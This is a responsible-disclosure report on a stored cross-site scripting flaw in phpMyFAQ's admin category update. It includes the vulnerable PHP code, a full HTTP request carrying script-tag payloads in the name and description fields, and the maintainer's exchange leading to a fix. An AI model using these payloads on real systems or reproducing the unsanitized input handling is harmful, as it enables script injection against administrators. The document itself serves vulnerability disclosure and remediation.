Stored XSS @ updatecategory in thorsten/phpmyfaq

Valid

Reported on

Mar 8th 2023


Description

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Proof of Concept

Code That has a Vulnerability:

            // Updates an existing category
            if ($action === 'updatecategory' && Token::getInstance()->verifyToken('update-category', $csrfToken)) {
                $category = new Category($faqConfig, [], false);
                $category->setUser($currentAdminUser);
                $category->setGroups($currentAdminGroups);

                $parentId = Filter::filterInput(INPUT_POST, 'parent_id', FILTER_VALIDATE_INT);
                $categoryId = Filter::filterInput(INPUT_POST, 'id', FILTER_VALIDATE_INT);
                $categoryLang = Filter::filterInput(INPUT_POST, 'catlang', FILTER_UNSAFE_RAW);
                $existingImage = Filter::filterInput(INPUT_POST, 'existing_image', FILTER_UNSAFE_RAW);
                $image = count($uploadedFile) ? $categoryImage->getFileName(
                    $categoryId,
                    $categoryLang
                ) : $existingImage;

                $categoryData = [
                    'id' => $categoryId,
                    'lang' => $categoryLang,
                    'parent_id' => $parentId,
                    'name' => Filter::filterInput(INPUT_POST, 'name', FILTER_UNSAFE_RAW),
                    'description' => Filter::filterInput(INPUT_POST, 'description', FILTER_UNSAFE_RAW),
                    'user_id' => Filter::filterInput(INPUT_POST, 'user_id', FILTER_VALIDATE_INT),
                    'group_id' => Filter::filterInput(INPUT_POST, 'group_id', FILTER_VALIDATE_INT),
                    'active' => Filter::filterInput(INPUT_POST, 'active', FILTER_VALIDATE_INT),
                    'image' => $image,
                    'show_home' => Filter::filterInput(INPUT_POST, 'show_home', FILTER_VALIDATE_INT),
                ];

Code without that vulnerability:

            // Save a new category
            if ($action === 'savecategory' && Token::getInstance()->verifyToken('save-category', $csrfToken)) {
                $category = new Category($faqConfig, [], false);
                $category->setUser($currentAdminUser);
                $category->setGroups($currentAdminGroups);
                $parentId = Filter::filterInput(INPUT_POST, 'parent_id', FILTER_VALIDATE_INT);
                $categoryId = $faqConfig->getDb()->nextId(Database::getTablePrefix() . 'faqcategories', 'id');
                $categoryLang = Filter::filterInput(INPUT_POST, 'lang', FILTER_UNSAFE_RAW);
                $categoryData = [
                    'lang' => $categoryLang,
                    'name' => Filter::filterInput(INPUT_POST, 'name', FILTER_SANITIZE_SPECIAL_CHARS),
                    'description' => Filter::filterInput(INPUT_POST, 'description', FILTER_SANITIZE_SPECIAL_CHARS),
                    'user_id' => Filter::filterInput(INPUT_POST, 'user_id', FILTER_VALIDATE_INT),
                    'group_id' => Filter::filterInput(INPUT_POST, 'group_id', FILTER_VALIDATE_INT),
                    'active' => Filter::filterInput(INPUT_POST, 'active', FILTER_VALIDATE_INT),
                    'image' => $categoryImage->getFileName($categoryId, $categoryLang),
                    'show_home' => Filter::filterInput(INPUT_POST, 'show_home', FILTER_VALIDATE_INT)
                ];

Request:

POST /admin/?action=updatecategory HTTP/2
Host: roy.demo.phpmyfaq.de
Cookie: PHPSESSID=EDITthis; pmf_sid=11; cookieconsent_status=dismiss
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------14208207025422371582565391486
Content-Length: 1934
Origin: https://roy.demo.phpmyfaq.de
Referer: https://roy.demo.phpmyfaq.de/admin/?action=editcategory&cat=1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

-----------------------------14208207025422371582565391486
Content-Disposition: form-data; name="id"

1
-----------------------------14208207025422371582565391486
Content-Disposition: form-data; name="catlang"

en
-----------------------------14208207025422371582565391486
Content-Disposition: form-data; name="parent_id"

0
-----------------------------14208207025422371582565391486
Content-Disposition: form-data; name="csrf"

EDITthis
-----------------------------14208207025422371582565391486
Content-Disposition: form-data; name="existing_image"


-----------------------------14208207025422371582565391486
Content-Disposition: form-data; name="name"

<script>alert(1)</script>
-----------------------------14208207025422371582565391486
Content-Disposition: form-data; name="description"

</textarea><script>alert(2)</script>
-----------------------------14208207025422371582565391486
Content-Disposition: form-data; name="active"

1
-----------------------------14208207025422371582565391486
Content-Disposition: form-data; name="show_home"

1
-----------------------------14208207025422371582565391486
Content-Disposition: form-data; name="image"; filename=""
Content-Type: application/octet-stream


-----------------------------14208207025422371582565391486
Content-Disposition: form-data; name="user_id"

1
-----------------------------14208207025422371582565391486
Content-Disposition: form-data; name="grouppermission"

all
-----------------------------14208207025422371582565391486
Content-Disposition: form-data; name="userpermission"

all
-----------------------------14208207025422371582565391486
Content-Disposition: form-data; name="restricted_users"

1
-----------------------------14208207025422371582565391486
Content-Disposition: form-data; name="submit"


-----------------------------14208207025422371582565391486--

Impact

The application stores dangerous data in a database, message forum, visitor log, or other trusted data store. At a later time, the dangerous data is subsequently read back into the application and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs

We are processing your report and will contact the thorsten/phpmyfaq team within 24 hours. 6 months ago
hatlesswizard modified the report
6 months ago
thorsten/phpmyfaq maintainer has acknowledged this report 6 months ago
Thorsten Rinne
6 months ago

Maintainer


I can't reproduce this issue, did you tried that on the demo?

hatlesswizard
6 months ago

Researcher


Yes

hatlesswizard
6 months ago

Researcher


Pay attention to the fact that it updates category, not saves it. You have to create a category, then view categories and then edit that category you created with a payload, then it should work.

Thorsten Rinne validated this vulnerability 6 months ago

ah, got it!

hatlesswizard has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
hatlesswizard
6 months ago

Researcher


Could you please assign a CVE after issue is fixed? @thorsten

Thorsten Rinne marked this as fixed in 3.1.12 with commit 0dc8e5 6 months ago
Thorsten Rinne has been awarded the fix bounty
This vulnerability has been assigned a CVE
This vulnerability is scheduled to go public on Mar 31st 2023
hatlesswizard
6 months ago

Researcher


Hello, you did not fix the vulnerability. Code:

// Updates an existing category
            if ($action === 'updatecategory' && Token::getInstance()->verifyToken('update-category', $csrfToken)) {
                $category = new Category($faqConfig, [], false);
                $category->setUser($currentAdminUser);
                $category->setGroups($currentAdminGroups);

                $parentId = Filter::filterInput(INPUT_POST, 'parent_id', FILTER_VALIDATE_INT);
                $categoryId = Filter::filterInput(INPUT_POST, 'id', FILTER_VALIDATE_INT);
                $categoryLang = Filter::filterInput(INPUT_POST, 'catlang', FILTER_UNSAFE_RAW);
                $existingImage = Filter::filterInput(INPUT_POST, 'existing_image', FILTER_UNSAFE_RAW);
                $image = count($uploadedFile) ? $categoryImage->getFileName(
                    $categoryId,
                    $categoryLang
                ) : $existingImage;

                $categoryData = [
                    'id' => $categoryId,
                    'lang' => $categoryLang,
                    'parent_id' => $parentId,
                    'name' => Filter::filterInput(INPUT_POST, 'name', FILTER_UNSAFE_RAW),
                    'description' => Filter::filterInput(INPUT_POST, 'description', FILTER_UNSAFE_RAW),
                    'user_id' => Filter::filterInput(INPUT_POST, 'user_id', FILTER_VALIDATE_INT),
                    'group_id' => Filter::filterInput(INPUT_POST, 'group_id', FILTER_VALIDATE_INT),
                    'active' => Filter::filterInput(INPUT_POST, 'active', FILTER_VALIDATE_INT),
                    'image' => $image,
                    'show_home' => Filter::filterInput(INPUT_POST, 'show_home', FILTER_VALIDATE_INT),
                ];

Part that I reported:

'name' => Filter::filterInput(INPUT_POST, 'name', FILTER_UNSAFE_RAW),
'description' => Filter::filterInput(INPUT_POST, 'description', FILTER_UNSAFE_RAW)

Expected Fix:

'name' => Filter::filterInput(INPUT_POST, 'name', FILTER_SANITIZE_SPECIAL_CHARS),
'description' => Filter::filterInput(INPUT_POST, 'description', FILTER_SANITIZE_SPECIAL_CHARS)
Thorsten Rinne
6 months ago

Maintainer


You are right! I fixed it: https://github.com/thorsten/phpMyFAQ/commit/a2642195e9fcb9a6f151bfaa4ff20bf1b905da2e

Thorsten Rinne published this vulnerability 6 months ago
to join this conversation